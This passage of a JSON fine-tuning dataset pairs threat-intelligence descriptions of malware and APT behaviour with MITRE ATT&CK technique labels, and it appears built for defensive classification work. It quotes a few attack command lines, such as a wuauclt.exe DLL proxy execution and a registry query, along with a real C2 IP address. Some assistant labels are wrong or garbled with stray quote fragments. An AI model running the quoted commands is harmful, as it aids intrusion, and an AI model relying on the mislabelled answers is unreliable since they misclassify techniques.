                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, to the beginning of the BASE64 string a random BASE64 string with the length of 5 characters is added"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant downloads the backdoor payload via the BITS service."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some of BRONZE PRESIDENT's malware has persistence capabilities. For example, ORat uses a WMI event consumer to maintain its presence on a compromised host. The group also creates and maintains scheduled tasks to achieve this purpose. Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been observed using SQL injection to gain access to systems."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FrameworkPOS can collect elements related to credit card data from process memory."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Web shells on publicly accessible Web servers to access victim networks."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can implant malicious code into a compromised device's firmware."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot checked if the compromised system is configured to use proxies."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlayList.vbs contains the obfuscated codes, which it executes after decrypting the obfuscations."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the current username from the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has gathered credentials from the Windows Credential Manager tool."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris has connected to a signalization server that provides a URL and port, and then Tomiris sends a GET request to that URL to establish C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer injects its communication module into an Internet accessible process through which it performs C2."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands using a shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The image displayed to the user after mounting the DMG appears to be the “Install” file. In actuality, it is just a system link that points to the 1302.app application bundle, or the malicious application itself. By double-clicking the “Install” image in Figure C, the system actually executes the 1302.app, where 1302.app/Contents/MacOS/1302 is just a bash script"
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This can be complemented by restricting direct internet access to the company’s internal networks while using proxies to access external resources"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. It also modifies several registry keys, including setting the SYSTEM\\CurrentControlSet\\Control\\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts"
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used AES to encrypt C2 responses."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY can send a file containing victim system information to C2."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 domain used in this shellcode has been categorized as malware in DNS Security, URL Filtering and WildFire, which are security subscriptions for Next-Generation Firewall customers. App-ID, the traffic classification system in Next-Generation Firewalls, is capable of identifying applications irrespective of port, protocol, encryption (SSH or SSL) or any other evasive tactic used by the application. This shellcode attempts to communicate over TCP port 443 with traffic that does not conform to proper SSL or any other known application. As a matter of best practice, we advise customers to block unknown outbound TCP traffic in their security policies"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to install several loadable kernel modules (LKMs) on infected machines."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can identify the country code on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The lnk file (WindowsUpdateConf.lnk) executes “C:\\Windows\\system32\\wuauclt.exe” /UpdateDeploymentProvider C:\\Wíndows\\system32\\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms"
            },
            {
                "role": "assistant",
                "content": "T1218 - Signed Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can use `wmic.exe` as part of its effort to delete shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pisloader has commands to list drives on the victim machine and to list file information for a given directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used different compromised credentials for remote access and to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings for proxy configurations information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As soon as the user enabled the macro, a robust Visual Basic Application (VBA) script began to execute. First, it would query Windows Management Instrumentation (WMI) to check if any of the following applications were running"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used MSI files to download additional files to execute."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar has used various Windows API functions on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers also used a malicious tool that they named BCS-server. This tool allows them to open a tunnel into an internal network and then this tunnel can be used to send and receive data between the C&amp;C server and even non-infected computers in the network. The main idea of this tool is based on the same principles as the XTUNNEL malware used by the Sednit group"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor can download additional plugins, updates and other files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant consists of a modified Cisco IOS image that allows the attacker to load different functional modules from the anonymity of the internet. Each of the modules are enabled via the HTTP protocol (not HTTPS), using a specifically crafted TCP packets sent to the routers interface. The packets have a nonstandard sequence and corresponding acknowledgment numbers. The modules can manifest themselves as independent executable code or hooks within the routers IOS that provide functionality similar to the backdoor password"
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug has used keylogging tools."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used \"reg query “HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default”\" on a victim to query the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can gather credentials from a number of browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has copied and installed tools for operations once in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb has been XOR-encoded."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NoComm – No command, which causes the script to keep sending POST requests. Base64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in base64"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq uses svchost.exe to execute a malicious DLL included in a new service group."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "YAHOYAH uses HTTP GET requests to download other files that are executed in memory."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can move laterally using worm-like functionality through exploitation of SMB."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 used RDP to move laterally in victim networks."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This RAT communicates with 5.189.145.248, a command and control (C2) IP address that this group has used previously with other malware, including DarkComet and NJRAT"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can upload and download to and from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson RAT can steal credentials from browsers, collect antivirus information, capture screenshots, and list victim drives, processes, and directories. We have observed how an infected host communicates with a Crimson RAT C&C server to send exfiltrated information including PC name, operating system (OS) information, and the location of the Crimson RAT malware inside the system."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information', 'T1589 - Gather Victim Identity Information', 'T1590 - Gather Victim Network Information', 'T1125 - Video Capture', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1056 - Input Capture', 'T1113 - Screen Capture', 'T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY has the ability to set the \"HKCU\\Environment\\UserInitMprLogonScript\" Registry key to execute logon scripts."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkHydrus has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can accept multiple URLs for C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration data used by the backdoor has the following structure: #pragma pack(push, 1) struct st_cncconfig {   _WORD id;   _BYTE byte2;   _BYTE byte3;   _QWORD pCnCBeg;   _QWORD pCnCEnd;   _QWORD pLastElement; }; #pragma pack(pop) To be able to enter the data into the database, Linux.BackDoor.Fysbis.1 converts the configuration data into the following structure: #pragma pack(push, 1) struct st_crypted_config_data {   _WORD id;   _BYTE byte2;   _BYTE byte3;   char* pCnC;  }; #pragma pack(pop) Before the configuration data is encrypted with the RC4 algorithm, 11 signature bytes are added to the end of the data (11 bytes are stored in the backdoor's body)"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1041 - Exfiltration Over C2 Channel', 'T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used spearphishing emails to deliver BrainTest as a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates to its C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as 'spwebmember'"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu executes additional Jscript code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS creates a scheduled task to establish by executing a malicious payload every subsequent minute."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can collect host IP information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can download its code from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Group used stolen certificates to sign its malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can monitor processes for open browsers and custom banking applications."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes can download additional files onto an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepyDrive can use OneDrive for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon collects endpoint information using the \"systeminfo\" command."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a sophisticated keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RobbinHood will search for Windows services that are associated with antivirus software on the system and kill the process."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "11 bytes of this buffer are encrypted with the XOR algorithm as follows: i = 0 while ( 1 ) {   crypted_buffer = (_BYTE *)this_->crypted_buffer;   if ( i gt;= this-gt;crypted_buffer_size - 4 ) // this-gt;crypted_buffer_size == 15     break;   ++i;   crypted_buffer[i + 4] ^= crypted_buffer[i & 3];  The generated buffer in encoded using the BASE64 alphabet, where the last two characters are replaced with “-” and “_”"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
